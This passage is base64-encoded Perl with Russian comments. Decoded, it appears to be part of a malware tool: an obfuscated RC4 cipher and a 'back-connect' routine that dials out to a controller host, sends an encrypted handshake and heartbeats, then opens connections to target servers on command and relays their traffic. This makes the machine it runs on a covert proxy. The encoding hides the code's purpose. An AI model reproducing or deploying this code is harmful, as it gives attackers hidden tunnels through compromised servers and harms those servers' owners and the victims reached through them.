0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
